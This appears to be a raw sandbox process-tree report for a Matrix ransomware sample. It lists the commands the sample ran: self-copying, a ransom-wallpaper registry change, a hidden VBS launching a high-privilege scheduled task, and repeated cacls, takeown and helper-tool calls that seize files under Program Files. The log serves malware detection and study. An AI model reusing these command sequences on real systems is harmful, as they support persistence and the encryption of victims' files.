C:\Users\Admin\AppData\Local\Temp\81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe"C:\Users\Admin\AppData\Local\Temp\81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe"1⤵
- Matrix Ransomware
- Modifies extensions of user files
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe" "C:\Users\Admin\AppData\Local\Temp\NWAKtMGl.exe"2⤵PID:1828
-
-
C:\Users\Admin\AppData\Local\Temp\NWAKtMGl.exe"C:\Users\Admin\AppData\Local\Temp\NWAKtMGl.exe" -n2⤵
- Executes dropped EXE
PID:328
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Jc37SGyv.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Jc37SGyv.bmp" /f3⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
PID:1468
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
- Modifies Control Panel
PID:1160
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
- Modifies Control Panel
PID:1308
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\x62g4YGU.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:952 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\x62g4YGU.vbs"3⤵PID:1788
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\JIlHD6vj.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵PID:1096
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\JIlHD6vj.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:548
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵PID:1012
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:1040
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵PID:1896
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
- Modifies file permissions
PID:1980
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1992 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb64.exegAw1Zqdb.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- Modifies service
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:1936
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C3⤵PID:336
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"3⤵
- Modifies file permissions
PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ENUtxt.pdf" -nobanner3⤵
- Loads dropped DLL
PID:980 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ENUtxt.pdf" -nobanner4⤵
- Executes dropped EXE
PID:868
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1052
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Loads dropped DLL
PID:1372 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵PID:1820
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
- Modifies file permissions
PID:1232
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1056 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1624
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1420
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Loads dropped DLL
PID:732 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵PID:564
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵
- Modifies file permissions
PID:968
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1932 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "DefaultID.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1880
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1972
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""2⤵
- Loads dropped DLL
PID:1212 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C3⤵PID:428
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"3⤵PID:316
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "StandardBusiness.pdf" -nobanner3⤵
- Loads dropped DLL
PID:548 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "StandardBusiness.pdf" -nobanner4⤵
- Executes dropped EXE
PID:2028
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:980
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""2⤵
- Loads dropped DLL
PID:1776 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C3⤵PID:328
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"3⤵PID:1784
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Dynamic.pdf" -nobanner3⤵
- Loads dropped DLL
PID:792 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Dynamic.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1176
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1452
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""2⤵
- Loads dropped DLL
PID:956 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C3⤵PID:1468
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"3⤵
- Modifies file permissions
PID:1104
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "AdobeID.pdf" -nobanner3⤵
- Loads dropped DLL
PID:968 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "AdobeID.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1896
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""2⤵
- Loads dropped DLL
PID:1972 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:2044
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"3⤵PID:240
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
PID:2016 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:1168
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:548
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""2⤵
- Loads dropped DLL
PID:2004 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre7\bin\server\classes.jsa"3⤵PID:1312
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
PID:1540 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:1604
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1176
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
- Loads dropped DLL
PID:1056 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵PID:1848
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Workflow.Targets" -nobanner3⤵
- Loads dropped DLL
PID:1880 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Workflow.Targets" -nobanner4⤵
- Executes dropped EXE
PID:1932
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1420
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
- Loads dropped DLL
PID:336 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵PID:1868
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1168
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
- Loads dropped DLL
PID:624 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵
- Executes dropped EXE
PID:548
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1040
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui""2⤵
- Loads dropped DLL
PID:2020 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui" /E /G Admin:F /C3⤵PID:1132
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1820
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
- Loads dropped DLL
PID:792 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
- Executes dropped EXE
PID:416
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:840
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Genko_2.jtp""2⤵
- Loads dropped DLL
PID:1848 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Genko_2.jtp" /E /G Admin:F /C3⤵PID:1980
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Genko_2.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1928
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Genko_2.jtp" -nobanner3⤵
- Loads dropped DLL
PID:2000 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Genko_2.jtp" -nobanner4⤵
- Executes dropped EXE
PID:956
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1452
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui""2⤵
- Loads dropped DLL
PID:1780 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui" /E /G Admin:F /C3⤵PID:868
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\jnwdui.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
- Loads dropped DLL
PID:908 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
- Executes dropped EXE
PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:2044
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Genko_1.jtp""2⤵
- Loads dropped DLL
PID:1700 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Genko_1.jtp" /E /G Admin:F /C3⤵PID:1232
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Genko_1.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:856
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Genko_1.jtp" -nobanner3⤵
- Loads dropped DLL
PID:1096 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Genko_1.jtp" -nobanner4⤵
- Executes dropped EXE
PID:1784
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:968
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\en-US\Journal.exe.mui""2⤵
- Loads dropped DLL
PID:1184 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\Journal.exe.mui" /E /G Admin:F /C3⤵PID:1052
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\Journal.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Journal.exe.mui" -nobanner3⤵
- Loads dropped DLL
PID:1056 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Journal.exe.mui" -nobanner4⤵
- Executes dropped EXE
PID:564
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:316
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Graph.jtp""2⤵
- Loads dropped DLL
PID:624 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Graph.jtp" /E /G Admin:F /C3⤵PID:1212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Graph.jtp"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1544
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Graph.jtp" -nobanner3⤵
- Loads dropped DLL
PID:2016 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Graph.jtp" -nobanner4⤵
- Executes dropped EXE
PID:1492
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:2020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui""2⤵
- Loads dropped DLL
PID:340 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵PID:1444
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1820
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
- Loads dropped DLL
PID:1756 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
- Executes dropped EXE
PID:1196
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1848
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Dotted_Line.jtp""2⤵
- Loads dropped DLL
PID:1056 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Dotted_Line.jtp" /E /G Admin:F /C3⤵PID:1120
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Dotted_Line.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1184
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Dotted_Line.jtp" -nobanner3⤵
- Loads dropped DLL
PID:616 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Dotted_Line.jtp" -nobanner4⤵
- Executes dropped EXE
PID:1212
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:832
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Journal.exe""2⤵
- Loads dropped DLL
PID:1780 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Journal.exe" /E /G Admin:F /C3⤵PID:1312
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Journal.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Journal.exe" -nobanner3⤵
- Loads dropped DLL
PID:2020 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Journal.exe" -nobanner4⤵
- Executes dropped EXE
PID:624
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1700
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Journal\Templates\Seyes.jtp""2⤵
- Loads dropped DLL
PID:956 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Seyes.jtp" /E /G Admin:F /C3⤵PID:2008
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Seyes.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Seyes.jtp" -nobanner3⤵
- Loads dropped DLL
PID:764 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Seyes.jtp" -nobanner4⤵
- Executes dropped EXE
PID:340
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui""2⤵
- Loads dropped DLL
PID:1972 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui" /E /G Admin:F /C3⤵PID:1624
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2044
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
- Loads dropped DLL
PID:868 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "msoeres.dll.mui" -nobanner4⤵
- Executes dropped EXE
PID:316
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1492
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files\Windows Mail\wab.exe""2⤵
- Loads dropped DLL
PID:328 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wab.exe" /E /G Admin:F /C3⤵PID:336
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wab.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1444
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "wab.exe" -nobanner3⤵
- Loads dropped DLL
PID:1700 -
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "wab.exe" -nobanner4⤵
- Executes dropped EXE
PID:792
-
-
-
